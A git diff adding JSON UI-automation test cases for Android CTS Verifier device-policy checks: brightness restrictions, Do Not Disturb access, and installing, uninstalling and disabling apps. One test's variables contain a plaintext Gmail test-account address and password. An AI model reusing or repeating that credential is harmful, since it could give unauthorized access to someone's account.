+{"uuid":"e395e5d8-df59-4e7d-bf18-6cd65da3ff8b","details":"{\"type\":\"CompoundAction\",\"name\":\"15-21 &amp; 17-06-11-Disallow config brightness\",\"actionId\":\"e395e5d8-df59-4e7d-bf18-6cd65da3ff8b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config brightness\",\"actionId\":\"ca0b8d87-626e-4edb-8638-01f41ab5b4e7\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config brightness\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3bd16eb8-ecff-46a9-bfb9-90b59dd78647\",\"displayText\":\"Disallow config brightness\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config brightness\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":227.33333333333334,\"x2\":360.0,\"y2\":271.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":253.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":-3.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"3bd16eb8-ecff-46a9-bfb9-90b59dd78647\",\"firstText\":\"Disallow config brightness\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config brightness\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":239.0,\"x2\":178.0,\"y2\":267.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config brightness\",\"actionId\":\"e061bfff-7981-44c2-9bcd-11cf0b33a94a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config brightness\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Brightness level\",\"actionId\":\"8c6e9670-fdc7-4b1b-bbc4-4fc471c2f61a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Brightness level\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"14668751-483e-4d6f-8c25-29efebfc65f4\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Adaptive brightness\",\"actionId\":\"693440eb-630c-4fc4-acc5-8841593b17fb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Adaptive brightness\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Adaptive brightness\",\"actionId\":\"242b682a-16e5-42e3-877b-8f68adfcce83\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Adaptive brightness\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"ca0b8d87-626e-4edb-8638-01f41ab5b4e7\",\"e061bfff-7981-44c2-9bcd-11cf0b33a94a\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"8c6e9670-fdc7-4b1b-bbc4-4fc471c2f61a\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"14668751-483e-4d6f-8c25-29efebfc65f4\",\"693440eb-630c-4fc4-acc5-8841593b17fb\",\"242b682a-16e5-42e3-877b-8f68adfcce83\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-21 &amp; 17-06-11-Disallow config brightness","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.152000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e4555fba-a19a-4a6c-8f12-d3202b0203f5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e4555fba-a19a-4a6c-8f12-d3202b0203f5
new file mode 100644
index 0000000..bf3837f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e4555fba-a19a-4a6c-8f12-d3202b0203f5
@@ -0,0 +1 @@
+{"uuid":"e4555fba-a19a-4a6c-8f12-d3202b0203f5","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn On/Off Do Not Disturb function\",\"actionId\":\"e4555fba-a19a-4a6c-8f12-d3202b0203f5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if Do Not Disturb access setting was launched\",\"actionId\":\"e8b43c87-76c3-45d9-911f-67d87c23915f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Do Not Disturb access\"},{\"field\":\"class\",\"operator\":\"=\",\"value\":\"android.widget.TextView\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"9be3bf62-a25f-484d-ace4-b2219539c7e4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"CTS Verifier\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Allow Do Not Disturb\",\"actionId\":\"77b09900-7e21-4f4a-a27d-b7348165d743\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Allow Do Not Disturb\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK/Allow button\",\"actionId\":\"10983ab9-7c29-4535-bd2d-265587b98b70\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"a0a8084e-831f-4e95-9ef7-7817f1f5d582\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1264a39b-e022-4fc8-94fd-53d54511a8e6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"e8b43c87-76c3-45d9-911f-67d87c23915f\",\"9be3bf62-a25f-484d-ace4-b2219539c7e4\",\"77b09900-7e21-4f4a-a27d-b7348165d743\",\"10983ab9-7c29-4535-bd2d-265587b98b70\",\"a0a8084e-831f-4e95-9ef7-7817f1f5d582\",\"1264a39b-e022-4fc8-94fd-53d54511a8e6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn On/Off Do Not Disturb function","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.235000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e66ce1e2-883e-465b-8d82-3cdb852cc679 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e66ce1e2-883e-465b-8d82-3cdb852cc679
new file mode 100644
index 0000000..cb52aad
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e66ce1e2-883e-465b-8d82-3cdb852cc679
@@ -0,0 +1 @@
+{"uuid":"e66ce1e2-883e-465b-8d82-3cdb852cc679","details":"{\"type\":\"CompoundAction\",\"name\":\"17-06-02-Disallow controlling apps\",\"actionId\":\"e66ce1e2-883e-465b-8d82-3cdb852cc679\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"64dec389-ec54-44ff-b290-c0dcb10433e9\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Play Store\",\"actionId\":\"04be83b8-00f5-44c7-80e7-0a5e030d22c5\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Play Store\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Search for apps & games\",\"actionId\":\"3de50fd6-3612-48d9-8623-b191684547eb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Search for apps & games\"},{\"type\":\"InputAction\",\"name\":\"INPUT \\\"Google Keep\\\"\",\"actionId\":\"df66dba9-36c7-4eaa-b137-b0266e9acc7e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"Google Keep\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Google Keep - Notes and Lists\",\"actionId\":\"0da09d94-3f76-447f-baf4-a7e31eac60ce\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Google Keep\"},{\"type\":\"ConditionClickAction\",\"name\":\"ConditionClickAction-install button\",\"actionId\":\"1140f7be-5866-4299-8506-ea4550e125d7\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Install\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"de507563-492f-4d6e-834b-bf588aae5ab2\",\"displayText\":\"Install\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"890680ca-72b4-49c9-b873-ca806dc61dd1\",\"displayText\":\"Install\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ff6505dc-744a-4c90-8afc-9b908b6166bb\",\"displayText\":\"Install\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"05ef8300-facb-47f5-afc5-d0ce41450823\",\"displayText\":\"Install\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cfbec9a8-342f-4759-85d3-ec8a5df16f3c\",\"displayText\":\"Install\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.vending:id/0_resource_name_obfuscated\",\"text\":\"Install\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":249.0,\"x2\":339.0,\"y2\":280.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":4.0,\"y\":3.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Install\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"com.android.vending:id/0_resource_name_obfuscated\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":243.75,\"x2\":339.0,\"y2\":285.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Install\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.vending:id/0_resource_name_obfuscated\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":243.75,\"x2\":339.0,\"y2\":285.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Install\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.vending:id/0_resource_name_obfuscated\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":243.75,\"x2\":339.0,\"y2\":285.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Install\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.vending:id/0_resource_name_obfuscated\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":243.75,\"x2\":339.0,\"y2\":285.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":176.0,\"y\":261.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":4.0,\"y\":3.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"cfbec9a8-342f-4759-85d3-ec8a5df16f3c\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Install\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":129.0,\"y1\":249.0,\"x2\":223.0,\"y2\":274.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow controlling apps\",\"actionId\":\"19d67ce1-df9e-4b85-95b8-08617ddd275f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow controlling apps\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/search_app_list_menu\",\"actionId\":\"6da4c545-1e81-4a23-9926-e3fa1b6e7ac8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/search_app_list_menu\"},{\"type\":\"InputAction\",\"name\":\"INPUT \\\"Keep Note\\\"\",\"actionId\":\"8678d97e-bbc7-40f9-b404-5c954a4577cb\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"Keep Note\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Keep Notes\",\"actionId\":\"137529c1-8a26-43be-8867-b433dabb3418\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Keep Notes\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, uninstall button\",\"actionId\":\"86bd601c-0cd8-4502-b86a-65512d5f80a9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4dffadee-27c6-407a-a91d-cd9fe62f7ea0\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"eb8928d7-183a-4f4f-aecc-4f1ef4eb9929\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Contacts\",\"actionId\":\"5ff9f752-10cc-40dc-a2bb-2dec90ed19de\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Contacts\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"65570f90-74a2-4ee0-8dca-cf48dd24d99a\",\"displayText\":\"Contacts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"374048f4-6d58-400e-b940-415e961f3f3a\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3061bb4a-29b3-40b7-948a-d4a11d3369e6\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":218.25,\"x2\":42.0,\"y2\":246.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":214.75,\"x2\":63.0,\"y2\":249.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"5b8e8282-37d3-4052-8faf-03ea95dda64f\",\"displayText\":\"Contacts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"00932122-6321-458e-9972-db1a61beb6f1\",\"displayText\":\"Contacts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Contacts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":214.5,\"x2\":121.0,\"y2\":233.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.5,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Contacts\"},{\"uuid\":\"94bec34c-c4d0-42c2-b5d4-b05c28b88d5b\",\"displayText\":\"22.64 MB\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"22.64 MB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":233.5,\"x2\":346.0,\"y2\":250.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"22.64 MB\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":200.5,\"x2\":346.0,\"y2\":264.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Contacts\"}],\"className\":\"android.widget.LinearLayout\",\"contentDesc\":\"Contacts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":200.5,\"x2\":360.0,\"y2\":264.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.5,\"y\":222.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.5,\"y\":10.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"00932122-6321-458e-9972-db1a61beb6f1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Contacts\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":210.0,\"x2\":127.0,\"y2\":234.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Contacts\",\"actionId\":\"b0d15976-6e31-48f1-b4ce-b7ef2128f531\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Contacts\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disable button\",\"actionId\":\"f38bfa82-93ea-4f43-a37f-f42e11c06945\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"979b1310-6b33-4aa3-9f3d-56ce29a587e2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Force stop button\",\"actionId\":\"a0f13bde-bc9a-40a8-90d6-9cc9c8aa8d5e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button3\"}],\"childrenIdList\":[\"64dec389-ec54-44ff-b290-c0dcb10433e9\",\"04be83b8-00f5-44c7-80e7-0a5e030d22c5\",\"23c5fa74-3416-4a41-84a9-3f348940a081\",\"3de50fd6-3612-48d9-8623-b191684547eb\",\"df66dba9-36c7-4eaa-b137-b0266e9acc7e\",\"0da09d94-3f76-447f-baf4-a7e31eac60ce\",\"1140f7be-5866-4299-8506-ea4550e125d7\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"19d67ce1-df9e-4b85-95b8-08617ddd275f\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"6da4c545-1e81-4a23-9926-e3fa1b6e7ac8\",\"8678d97e-bbc7-40f9-b404-5c954a4577cb\",\"137529c1-8a26-43be-8867-b433dabb3418\",\"86bd601c-0cd8-4502-b86a-65512d5f80a9\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"4dffadee-27c6-407a-a91d-cd9fe62f7ea0\",\"eb8928d7-183a-4f4f-aecc-4f1ef4eb9929\",\"5ff9f752-10cc-40dc-a2bb-2dec90ed19de\",\"b0d15976-6e31-48f1-b4ce-b7ef2128f531\",\"f38bfa82-93ea-4f43-a37f-f42e11c06945\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"979b1310-6b33-4aa3-9f3d-56ce29a587e2\",\"a0f13bde-bc9a-40a8-90d6-9cc9c8aa8d5e\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"17-06-02-Disallow controlling apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.202000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e690407d-25d7-42eb-9553-9f328ee32f0d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e690407d-25d7-42eb-9553-9f328ee32f0d
new file mode 100644
index 0000000..49e8ea1
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e690407d-25d7-42eb-9553-9f328ee32f0d
@@ -0,0 +1 @@
